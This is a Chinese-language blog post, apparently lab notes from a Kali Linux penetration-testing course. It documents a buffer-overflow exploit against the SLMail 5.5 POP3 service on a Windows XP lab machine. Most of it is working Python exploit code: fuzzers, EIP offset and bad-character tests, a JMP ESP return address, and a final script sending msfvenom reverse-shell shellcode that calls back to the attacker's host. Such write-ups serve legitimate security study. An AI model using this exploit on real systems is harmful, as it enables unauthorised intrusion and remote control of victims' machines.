跟着苑房弘老师的kali linux渗透测试课程做的实验,记录学习过程。
虚拟机:
安装在靶机上的工具:
immunity debugger
https://www.immunityinc.com/products/debugger/
SLMail 5.5.0 Mail Server
http://slmail.software.informer.com/5.5/
将Win XP上的防火墙手动关闭。
将 slmail 在Win XP上安装配置好。
可以通过win+r -> cmd -> netstat -nao
查看端口,25、110、180都处于LISTENING模式。
win+r -> services.msc
可以看到三个服务项处于启动状态。如果没有启动,则手动点击启动。
安装immunity debugger
安装好后将mona.py移动到immunity debugger所在文件目录下的PyCommands文件夹里。
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data=s.recv(1024)
print data
s.send('USER IEUser'+'\r\n')
data=s.recv(1024)
print data
s.send('PASS test\r\n')
data=s.recv(1024)
print data
s.close()
print("\nDone!")
except:
print ("Cloud not connect to POP3")
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer) <=30:
buffer.append("B"*counter)
counter=counter+200
for string in buffer:
print ("Fuzzing PASS with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('172.16.2.202',110))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS '+ string + '\r\n')
s.send('QUIT\r\n')
s.close()
注意事项:目标机每一次被处于Paused状态后需要将调试工具immunity debugger关闭,然后在服务中重启POP3 server服务,再次打开immunity debugger去attach110端口。
到XP中查看,发现向目标机器发送了大量的“A”导致了目标进程的崩溃。
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer='A'*2600
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data=s.recv(1024)
s.send('USER test'+'\r\n')
data=s.recv(1024)
s.send('PASS '+ buffer + '\r\n')
print("\nDone!.")
except:
print("Could not connect to POP3!")
而要利用缓冲区溢出拿到目标系统的管理权实现对目标机的控制需要足够多的数据覆盖EIP,而覆盖内容是我们可以定制去修改的。现在可以确定EIP寄存器的位置位于2600-2700,如何才能精确修改数值?
二分法
唯一字串法
kali中有现成脚本生成一个2700位的唯一字符串,将该字符串放入04.py中。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer + '\r\n')
print("\nDone!")
except:
print("Could not connect to POP3!")
./pattern_offset.rb -q 39694438
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="A"*2606+"B"*4+"C"*20
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer + '\r\n')
print("\nDone!")
except:
print("Could not connect to POP3!")
思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="A"*2606+"B"*4+"C"*(3500-2606-4)
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer + '\r\n')
print("\nDone!")
except:
print("Could not connect to POP3!")
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些坏字符有固定的用途
返回地址、shellcode、buffer中都不能出现坏字符
思路:发送 0x00-0xff 256个字符查找所有换字符
原理:计算机使用ASCII编码,1个字符由1个字节表示,1个字节是8个二进制数0000 0000,所以 0000 0000 - 1111 1111 有二进制组合256种,一次性将256个字符打入ESP看哪部分会被过滤。
将256个字符作为变量赋给badchars
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")
buffer="A"*2606+"B"*4+ badchars
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer + '\r\n')
print("\nDone!")
except:
print("Could not connect to POP3!")
查找出三个坏字符:0a、00、0d
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="A"*2606+ "\xe3\x41\x4b\x5f" + "C" * 390
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer + '\r\n')
print("\nDone!'")
except:
print("Could not connect to POP3!")
将EIP寄存器中的4个字节改为ESP的地址
a) 但是ESP地址在变化,每次有可能一样也有可能不一样,硬编码不可行。
b) SLMail线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定。
变通思路
a) 在内存中寻找地址固定的系统模块
b) 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
c) mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块。
d) 寻找无DEP、ALSR保护的内存地址
e) 内存地址不包含坏字符
在kali中使用nasm_shell工具得到汇编指令“JMP ESP”的二进制表示FFE4
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
在调试工具 Immunity Debugger中输入!mona modules
查找所有模块.
选择Rebase、SafeSEH、ASLR、NXCompat都是False,OS Dll是True的模块。
在该模块中搜索“JMP ESP”,!mona find -s"\xff\e4" -m openc32.dll
结果显示没有,那就换一个模块。
打断点 验证发送溢出程序时,是否真正实现跳转
此时JMP ESP的地址为 5F4B41E3,这个地址就是我们需要的不变的地址。将其放入08.py脚本中。
到这里已经实现了对EIP内容的修改,修改后实现跳转,跳转后又回到ESP寄存器。下一步需要在ESP寄存器中真正存入shellcode,执行,获得权限,然后真正控制目标机器。
这里我没能复现成功获得权限,苑老师用msfpayload win32_reverse 生成一个反弹shell权限的shellcode,用nc 监听端口,然后发到ESP中,获得权限。但是我用的kali版本中的msfpayload中没有 win32_reverse,我用了windows/shell/reverse_tcp,成功的和目标机的某个端口建立通信。
-cd /usr/share/metasploit-framework
进入目录
msfvenom -l payloads
查看所有shellcode
msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=172.16.2.63 LPORT=12388 -f c -a x86 --platform win -b "\x00\x0a\x0d"
-p 使用windows/shell/reverse_tcp;EXITFUNC=thread 实现重复溢出,避免整个服务崩溃;LHOST=172.16.2.63 LPORT=12388 设置反弹到本机IP和端口
-b 排除前面已经知道的坏字符
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# buffer="A"*2606+ "\xe3\x41\x4b\x5f" + "C" * 390
shellcode = (
"\xdb\xcb\xbe\x95\xa7\x04\x1c\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"+
"\x5e\x83\xc5\x04\x31\x75\x16\x03\x75\x16\xe2\x60\x5b\xec\x93"+
"\x8a\xa4\xed\xcb\x03\x41\xdc\xd9\x77\x01\x4d\xee\xfc\x47\x7e"+
"\x85\x50\x7c\x71\x2e\x1e\x5a\xbc\xaf\x15\xd0\x96\x7e\xe9\xb9"+
"\xdb\xe1\x95\xc3\x0f\xc2\xa4\x0b\x42\x03\xe1\xdd\x28\xec\xbf"+
"\x56\x80\xe2\x68\xe2\x67\x3f\x97\x24\xec\x7f\xef\x41\x33\x0b"+
"\x43\x4b\x64\x7f\x03\x6b\x85\x53\x38\x23\x9d\x03\xbb\x7d\xe9"+
"\x9f\x8a\x4c\xed\x6b\x38\x24\x10\xba\x71\xfa\xd2\x8d\x7c\x56"+
"\xd5\xd6\x46\x46\xa3\x2c\xb5\xfb\xb4\xf6\xc4\x27\x30\xe9\x6e"+
"\xa3\xe2\xcd\x8f\x60\x74\x85\x83\xcd\xf2\xc1\x87\xd0\xd7\x79"+
"\xb3\x59\xd6\xad\x32\x19\xfd\x69\x1f\xf9\x9c\x28\xc5\xac\xa1"+
"\x2b\xa1\x11\x04\x27\x43\x47\x38\xc8\x9c\x68\x64\x5f\x51\xa5"+
"\x97\x9f\xfd\xbe\xe4\xad\xa2\x14\x63\x9e\x2b\xb3\x74\x97\x3b"+
"\x44\xaa\x1f\x2b\xba\x4b\x60\x62\x79\x1f\x30\x1c\xa8\x20\xdb"+
"\xdc\x55\xf5\x76\xd6\xc1\x5a\x96\xe4\x2e\xcb\x95\xe8\x60\x6f"+
"\x13\x0e\xd0\x3f\x73\x9e\x91\xef\x33\x4e\x7a\xfa\xbb\xb1\x9a"+
"\x05\x16\xda\x31\xea\xcf\xb3\xad\x93\x55\x4f\x4f\x5b\x40\x2a"+
"\x4f\xd7\x61\xcb\x1e\x10\x03\xdf\x77\x47\xeb\x1f\x88\xe2\xeb"+
"\x75\x8c\xa4\xbc\xe1\x8e\x91\x8b\xae\x71\xf4\x8f\xa8\x8e\x89"+
"\xb9\xc3\xb9\x1f\x86\xbb\xc5\xcf\x06\x3b\x90\x85\x06\x53\x44"+
"\xfe\x54\x46\x8b\x2b\xc9\xdb\x1e\xd4\xb8\x88\x89\xbc\x46\xf7"+
"\xfe\x62\xb8\xd2\x7c\x64\x46\xa1\xaa\xcd\x2f\x59\xeb\xed\xaf"+
"\x33\xeb\xbd\xc7\xc8\xc4\x32\x28\x31\xcf\x1a\x20\xb8\x9e\xe9"+
"\xd1\xbd\x8a\xac\x4f\xbe\x39\x75\x7f\xc5\x32\x8a\x80\x3a\x5b"+
"\xef\x80\x3b\x63\x11\xbc\xea\x5a\x67\x83\x2f\xd9\x68\x1e\x85"+
"\x14\x01\x87\x4c\x95\x4c\x38\xbb\xda\x68\xbb\x49\xa3\x8e\xa3"+
"\x38\xa6\xcb\x63\xd1\xda\x44\x06\xd5\x49\x64\x03")
buffer="A"*2606+ "\xe3\x41\x4b\x5f" + "\x90"*8 + shellcode
try:
print("\nSending evil buffer...")
s.connect(('172.16.2.202',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer + '\r\n')
print("\nDone!")
except:
print("Could not connect to POP3!")
我的复现到这里就结束了
end